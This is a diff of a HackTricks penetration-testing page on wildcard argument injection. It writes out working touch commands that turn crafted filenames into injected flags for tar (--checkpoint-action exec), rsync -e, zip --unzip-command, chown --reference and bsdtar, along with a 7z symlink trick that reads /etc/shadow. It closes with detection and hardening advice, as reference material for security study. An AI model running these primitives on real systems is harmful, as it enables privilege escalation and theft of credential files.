|
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}}
|
4 | 4 |
|
5 |
| -## chown, chmod |
| 5 | +> Wildcard (aka *glob*) **argument injection** happens when a privileged script runs a Unix binary such as `tar`, `chown`, `rsync`, `zip`, `7z`, … with an unquoted wildcard like `*`. |
| 6 | +> Since the shell expands the wildcard **before** executing the binary, an attacker who can create files in the working directory can craft filenames that begin with `-` so they are interpreted as **options instead of data**, effectively smuggling arbitrary flags or even commands. |
| 7 | +> This page collects the most useful primitives, recent research and modern detections for 2023-2025. |
6 | 8 |
|
7 |
| -You can **indicate which file owner and permissions you want to copy for the rest of the files** |
| 9 | +## chown / chmod |
| 10 | + |
| 11 | +You can **copy the owner/group or the permission bits of an arbitrary file** by abusing the `--reference` flag: |
8 | 12 |
|
9 | 13 | ```bash
|
10 |
| -touch "--reference=/my/own/path/filename" |
| 14 | +# attacker-controlled directory |
| 15 | +touch "--reference=/root/secret``file" # ← filename becomes an argument |
11 | 16 | ```
|
12 | 17 |
|
13 |
| -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ |
14 |
| -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) |
| 18 | +When root later executes something like: |
| 19 | + |
| 20 | +```bash |
| 21 | +chown -R alice:alice *.php |
| 22 | +chmod -R 644 *.php |
| 23 | +``` |
| 24 | + |
| 25 | +`--reference=/root/secret``file` is injected, causing *all* matching files to inherit the ownership/permissions of `/root/secret``file`. |
| 26 | + |
| 27 | +*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack). |
| 28 | +See also the classic DefenseCode paper for details. |
| 29 | + |
| 30 | +--- |
15 | 31 |
|
16 |
| -## Tar |
| 32 | +## tar |
17 | 33 |
|
18 |
| -**Execute arbitrary commands:** |
| 34 | +### GNU tar (Linux, *BSD, busybox-full) |
| 35 | + |
| 36 | +Execute arbitrary commands by abusing the **checkpoint** feature: |
19 | 37 |
|
20 | 38 | ```bash
|
| 39 | +# attacker-controlled directory |
| 40 | +echo 'echo pwned > /tmp/pwn' > shell.sh |
| 41 | +chmod +x shell.sh |
21 | 42 | touch "--checkpoint=1"
|
22 | 43 | touch "--checkpoint-action=exec=sh shell.sh"
|
23 | 44 | ```
|
24 | 45 |
|
25 |
| -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ |
26 |
| -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) |
| 46 | +Once root runs e.g. `tar -czf /root/backup.tgz *`, `shell.sh` is executed as root. |
27 | 47 |
|
28 |
| -## Rsync |
| 48 | +### bsdtar / macOS 14+ |
29 | 49 |
|
30 |
| -**Execute arbitrary commands:** |
| 50 | +The default `tar` on recent macOS (based on `libarchive`) does *not* implement `--checkpoint`, but you can still achieve code-execution with the **--use-compress-program** flag that allows you to specify an external compressor. |
31 | 51 |
|
32 | 52 | ```bash
|
33 |
| -Interesting rsync option from manual: |
34 |
| - |
35 |
| - -e, --rsh=COMMAND specify the remote shell to use |
36 |
| - --rsync-path=PROGRAM specify the rsync to run on remote machine |
| 53 | +# macOS example |
| 54 | +touch "--use-compress-program=/bin/sh" |
37 | 55 | ```
|
| 56 | +When a privileged script runs `tar -cf backup.tar *`, `/bin/sh` will be started. |
| 57 | + |
| 58 | +--- |
| 59 | + |
| 60 | +## rsync |
| 61 | + |
| 62 | +`rsync` lets you override the remote shell or even the remote binary via command-line flags that start with `-e` or `--rsync-path`: |
38 | 63 |
|
39 | 64 | ```bash
|
40 |
| -touch "-e sh shell.sh" |
| 65 | +# attacker-controlled directory |
| 66 | +touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh |
41 | 67 | ```
|
42 | 68 |
|
43 |
| -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ |
44 |
| -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) |
| 69 | +If root later archives the directory with `rsync -az * backup:/srv/`, the injected flag spawns your shell on the remote side. |
| 70 | + |
| 71 | +*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode). |
45 | 72 |
|
46 |
| -## 7z |
| 73 | +--- |
47 | 74 |
|
48 |
| -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: |
| 75 | +## 7-Zip / 7z / 7za |
| 76 | + |
| 77 | +Even when the privileged script *defensively* prefixes the wildcard with `--` (to stop option parsing), the 7-Zip format supports **file list files** by prefixing the filename with `@`. Combining that with a symlink lets you *exfiltrate arbitrary files*: |
49 | 78 |
|
50 | 79 | ```bash
|
51 |
| -7za a /backup/$filename.zip -t7z -snl -p$pass -- * |
| 80 | +# directory writable by low-priv user |
| 81 | +cd /path/controlled |
| 82 | +ln -s /etc/shadow root.txt # file we want to read |
| 83 | +touch @root.txt # tells 7z to use root.txt as file list |
52 | 84 | ```
|
53 | 85 |
|
54 |
| -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: |
| 86 | +If root executes something like: |
55 | 87 |
|
56 | 88 | ```bash
|
57 |
| -cd /path/to/7z/acting/folder |
58 |
| -touch @root.txt |
59 |
| -ln -s /file/you/want/to/read root.txt |
| 89 | +7za a /backup/`date +%F`.7z -t7z -snl -- * |
60 | 90 | ```
|
61 | 91 |
|
62 |
| -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. |
| 92 | +7-Zip will attempt to read `root.txt` (→ `/etc/shadow`) as a file list and will bail out, **printing the contents to stderr**. |
63 | 93 |
|
64 |
| -_More info in Write-ups of the box CTF from HackTheBox._ |
| 94 | +--- |
65 | 95 |
|
66 |
| -## Zip |
| 96 | +## zip |
67 | 97 |
|
68 |
| -**Execute arbitrary commands:** |
| 98 | +`zip` supports the flag `--unzip-command` that is passed *verbatim* to the system shell when the archive will be tested: |
69 | 99 |
|
70 | 100 | ```bash
|
71 |
| -zip name.zip files -T --unzip-command "sh -c whoami" |
| 101 | +zip result.zip files -T --unzip-command "sh -c id" |
72 | 102 | ```
|
73 | 103 |
|
74 |
| -{{#include ../../banners/hacktricks-training.md}} |
| 104 | +Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file. |
| 105 | + |
| 106 | +--- |
| 107 | + |
| 108 | +## Additional binaries vulnerable to wildcard injection (2023-2025 quick list) |
| 109 | + |
| 110 | +The following commands have been abused in modern CTFs and real environments. The payload is always created as a *filename* inside a writable directory that will later be processed with a wildcard: |
| 111 | + |
| 112 | +| Binary | Flag to abuse | Effect | |
| 113 | +| --- | --- | --- | |
| 114 | +| `bsdtar` | `--newer-mtime=@<epoch>` → arbitrary `@file` | Read file contents | |
| 115 | +| `flock` | `-c <cmd>` | Execute command | |
| 116 | +| `git` | `-c core.sshCommand=<cmd>` | Command execution via git over SSH | |
| 117 | +| `scp` | `-S <cmd>` | Spawn arbitrary program instead of ssh | |
75 | 118 |
|
| 119 | +These primitives are less common than the *tar/rsync/zip* classics but worth checking when hunting. |
76 | 120 |
|
| 121 | +--- |
77 | 122 |
|
| 123 | +## Detection & Hardening |
| 124 | + |
| 125 | +1. **Disable shell globbing** in critical scripts: `set -f` (`set -o noglob`) prevents wildcard expansion. |
| 126 | +2. **Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`. |
| 127 | +3. **Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`. |
| 128 | +4. **Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible. |
| 129 | +5. **Monitoring**: Elastic’s pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs. |
| 130 | + |
| 131 | +--- |
| 132 | + |
| 133 | +## References |
| 134 | + |
| 135 | +* Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025) |
| 136 | +* Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024) |
| 137 | + |
| 138 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments